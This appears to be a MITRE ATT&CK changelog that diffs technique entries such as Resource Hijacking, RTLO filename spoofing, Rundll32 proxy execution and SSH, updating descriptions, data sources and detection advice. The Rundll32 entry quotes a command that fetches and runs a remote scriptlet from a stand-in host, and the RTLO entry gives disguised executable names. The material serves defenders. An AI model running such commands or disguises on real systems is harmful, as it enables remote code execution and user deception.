| > | cryptocurrency networks and earn virtual currency. Adversari | > | cryptocurrency networks and earn virtual currency. Adversari | ||
| > | es may consume enough system resources to negatively impact | > | es may consume enough system resources to negatively impact | ||
| > | and/or cause affected machines to become unresponsive.(Citat | > | and/or cause affected machines to become unresponsive.(Citat | ||
| > | ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | > | ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | ||
| > | cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | > | cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | ||
| > | tems are common targets because of the high potential for av | > | tems are common targets because of the high potential for av | ||
| > | ailable resources, but user endpoint systems may also be com | > | ailable resources, but user endpoint systems may also be com | ||
| > | promised and used for Resource Hijacking and cryptocurrency | > | promised and used for Resource Hijacking and cryptocurrency | ||
| > | mining. | > | mining. Containerized environments may also be targeted due | ||
| > | to the ease of deployment via exposed APIs and the potential | ||||
| > | for scaling mining activities by deploying or compromising | ||||
| > | multiple containers within an environment or cluster.(Citati | ||||
| > | on: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed | ||||
| > | Docker APIs) Additionally, some cryptocurrency mining malw | ||||
| > | are kills off processes for competing malware to ensure it’s | ||||
| > | not competing for resources.(Citation: Trend Micro War of C | ||||
| > | rypto Miners) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:29:17.574000+00:00 | 2021-04-14 12:06:32.187000+00:00 |
| description | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) |
| x_mitre_data_sources[0] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | File: File Creation |
| x_mitre_data_sources[3] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[4] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Sensor Health: Host Status |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'} | |
| external_references | {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 17:36:24.531000+00:00 | 2021-03-08 10:33:02.128000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Modification |
| x_mitre_data_sources[1] | GCP audit logs | Instance: Instance Start |
| x_mitre_data_sources[2] | Azure activity logs | Instance: Instance Stop |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the right-to-left override (RTLO or RLO) | t | 1 | Adversaries may abuse the right-to-left override (RTLO or RL |
| > | character (U+202E) as a means of tricking a user into execu | > | O) character (U+202E) to disguise a string and/or file name | ||
| > | ting what they think is a benign file type but is actually e | > | to make it appear benign. RTLO is a non-printing Unicode cha | ||
| > | xecutable code. RTLO is a non-printing character that causes | > | racter that causes the text that follows it to be displayed | ||
| > | the text that follows it to be displayed in reverse.(Citati | > | in reverse. For example, a Windows screensaver executable na | ||
| > | on: Infosecinstitute RTLO Technique) For example, a Windows | > | med <code>March 25 \u202Excod.scr</code> will display as <co | ||
| > | screensaver executable named <code>March 25 \u202Excod.scr</ | > | de>March 25 rcs.docx</code>. A JavaScript file named <code>p | ||
| > | code> will display as <code>March 25 rcs.docx</code>. A Java | > | hoto_high_re\u202Egnp.js</code> will be displayed as <code>p | ||
| > | Script file named <code>photo_high_re\u202Egnp.js</code> wil | > | hoto_high_resj.png</code>.(Citation: Infosecinstitute RTLO T | ||
| > | l be displayed as <code>photo_high_resj.png</code>. A commo | > | echnique) Adversaries may abuse the RTLO character as a mea | ||
| > | n use of this technique is with [Spearphishing Attachment](h | > | ns of tricking a user into executing what they think is a be | ||
| > | ttps://attack.mitre.org/techniques/T1566/001)/[Malicious Fil | > | nign file type. A common use of this technique is with [Spea | ||
| > | e](https://attack.mitre.org/techniques/T1204/002) since it c | > | rphishing Attachment](https://attack.mitre.org/techniques/T1 | ||
| > | an trick both end users and defenders if they are not aware | > | 566/001)/[Malicious File](https://attack.mitre.org/technique | ||
| > | of how their tools display and render the RTLO character. Us | > | s/T1204/002) since it can trick both end users and defenders | ||
| > | e of the RTLO character has been seen in many targeted intru | > | if they are not aware of how their tools display and render | ||
| > | sion attempts and criminal activity.(Citation: Trend Micro P | > | the RTLO character. Use of the RTLO character has been seen | ||
| > | LEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be | > | in many targeted intrusion attempts and criminal activity.( | ||
| > | used in the Windows Registry as well, where regedit.exe dis | > | Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO C | ||
| > | plays the reversed characters but the command line tool reg. | > | yber Crime) RTLO can be used in the Windows Registry as well | ||
| > | exe does not by default. | > | , where regedit.exe displays the reversed characters but the | ||
| > | command line tool reg.exe does not by default. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:16:36.316000+00:00 | 2021-10-14 21:01:59.733000+00:00 |
| description | Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.
A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. |
| x_mitre_data_sources[0] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 19:03:40.330000+00:00 | 2021-10-14 22:21:59.708000+00:00 |
| x_mitre_data_sources[0] | Packet capture | Process: Process Creation |
| x_mitre_data_sources[1] | Host network interface | File: File Creation |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[3] | File monitoring | Service: Service Creation |
| x_mitre_data_sources[4] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. | Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.
Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages "all").
Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.
Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Shadowbunny VM Defense Evasion', 'description': 'Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.', 'url': 'https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/'} | |
| x_mitre_contributors | Johann Rehberger |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads. Rundll32. | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | exe can also be used to execute [Control Panel](https://atta | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | ck.mitre.org/techniques/T1218/002) Item files (.cpl) through | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | the undocumented shell32.dll functions <code>Control_RunDLL | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | </code> and <code>Control_RunDLLAsUser</code>. Double-clicki | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | ng a .cpl file also causes rundll32.exe to execute. (Citatio | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | n: Trend Micro CPL) Rundll32 can also be used to execute sc | > | .cpl file also causes rundll32.exe to execute. (Citation: Tr | ||
| > | ripts such as JavaScript. This can be done using a syntax si | > | end Micro CPL) Rundll32 can also be used to execute scripts | ||
| > | milar to this: <code>rundll32.exe javascript:"\..\mshtml,Run | > | such as JavaScript. This can be done using a syntax similar | ||
| > | HTMLApplication ";document.write();GetObject("script:https[: | > | to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA | ||
| > | ]//www[.]example[.]com/malicious.sct")"</code> This behavio | > | pplication ";document.write();GetObject("script:https[:]//ww | ||
| > | r has been seen used by malware such as Poweliks. (Citation: | > | w[.]example[.]com/malicious.sct")"</code> This behavior has | ||
| > | This is Security Command Line Confusion) | > | been seen used by malware such as Poweliks. (Citation: This | ||
| > | is Security Command Line Confusion) Adversaries may also a | ||||
| > | ttempt to obscure malicious code from analysis by abusing th | ||||
| > | e manner in which rundll32.exe loads DLL function names. As | ||||
| > | part of Windows compatibility support for various character | ||||
| > | sets, rundll32.exe will first check for wide/Unicode then AN | ||||
| > | SI character-supported functions before loading the specifie | ||||
| > | d function (e.g., given the command <code>rundll32.exe Examp | ||||
| > | leDLL.dll, ExampleFunction</code>, rundll32.exe would first | ||||
| > | attempt to execute <code>ExampleFunctionW</code>, or failing | ||||
| > | that <code>ExampleFunctionA</code>, before loading <code>Ex | ||||
| > | ampleFunction</code>). Adversaries may therefore obscure mal | ||||
| > | icious code by creating multiple identical exported function | ||||
| > | names and appending <code>W</code> and/or <code>A</code> to | ||||
| > | harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( | ||||
| > | Citation: Github NoRunDll) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:31:42.113000+00:00 | 2021-10-14 21:45:53.057000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) |
| x_mitre_data_sources[0] | DLL monitoring | File: File Metadata |
| x_mitre_data_sources[1] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Module: Module Load |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Attackify Rundll32.exe Obscurity', 'description': 'Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.', 'url': 'https://www.attackify.com/blog/rundll32_execution_order/'} | |
| external_references | {'source_name': 'Github NoRunDll', 'description': 'gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', 'url': 'https://github.com/gtworek/PSBits/tree/master/NoRunDll'} | |
| x_mitre_contributors | Gareth Phillips, Seek Ltd. |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into remote machines using Secure | > | g/techniques/T1078) to log into remote machines using Secure | ||
| > | Shell (SSH). The adversary may then perform actions as the | > | Shell (SSH). The adversary may then perform actions as the | ||
| > | logged-on user. SSH is a protocol that allows authorized us | > | logged-on user. SSH is a protocol that allows authorized us | ||
| > | ers to open remote shells on other computers. Many Linux and | > | ers to open remote shells on other computers. Many Linux and | ||
| > | macOS versions come with SSH installed by default, although | > | macOS versions come with SSH installed by default, although | ||
| > | typically disabled until the user enables it. The SSH serve | > | typically disabled until the user enables it. The SSH serve | ||
| > | r can be configured to use standard password authentication | > | r can be configured to use standard password authentication | ||
| > | or public-private keypairs in lieu of or in addition to a pa | > | or public-private keypairs in lieu of or in addition to a pa | ||
| > | ssword. In this authentication scenario, the user’s public k | > | ssword. In this authentication scenario, the user’s public k | ||
| > | ey must be in a special file on the computer running the ser | > | ey must be in a special file on the computer running the ser | ||
| > | ver that lists which keypairs are allowed to login as that u | > | ver that lists which keypairs are allowed to login as that u | ||
| > | ser.(Citation: SSH Secure Shell) | > | ser. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:43:46.977000+00:00 | 2021-10-15 14:15:06.853000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. |
| external_references[2]['source_name'] | SSH Secure Shell | Apple Unified Log Analysis Remote Login and Screen Sharing |
| external_references[2]['description'] | SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020. | Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021. |
| external_references[2]['url'] | https://www.ssh.com/ssh | https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Logon Session: Logon Session Creation |
| x_mitre_detection | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:01.069000+00:00 | 2021-10-15 14:36:26.445000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | Container: Container Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Containers |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:16.978000+00:00 | 2021-03-29 16:05:00.198000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party servers that can be u |
| > | rd-party servers that can be used during targeting. Use of s | > | sed during targeting. Use of servers allows an adversary to | ||
| > | ervers allows an adversary to stage, launch, and execute an | > | stage, launch, and execute an operation. During post-comprom | ||
| > | operation. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize servers for various ta | ||
| > | utilize servers for various tasks, including for Command and | > | sks, including for Command and Control. Instead of purchasin | ||
| > | Control. Instead of purchasing a [Server](https://attack.mi | > | g a [Server](https://attack.mitre.org/techniques/T1583/004) | ||
| > | tre.org/techniques/T1583/004) or [Virtual Private Server](ht | > | or [Virtual Private Server](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | > | ues/T1583/003), adversaries may compromise third-party serve | ||
| > | y compromise third-party servers in support of operations. | > | rs in support of operations. Adversaries may also compromis | ||
| > | Adversaries may also compromise web servers to support water | > | e web servers to support watering hole operations, as in [Dr | ||
| > | ing hole operations, as in [Drive-by Compromise](https://att | > | ive-by Compromise](https://attack.mitre.org/techniques/T1189 | ||
| > | ack.mitre.org/techniques/T1189). | > | ). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 19:48:07.710000+00:00 | 2021-10-17 16:00:16.273000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). | Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
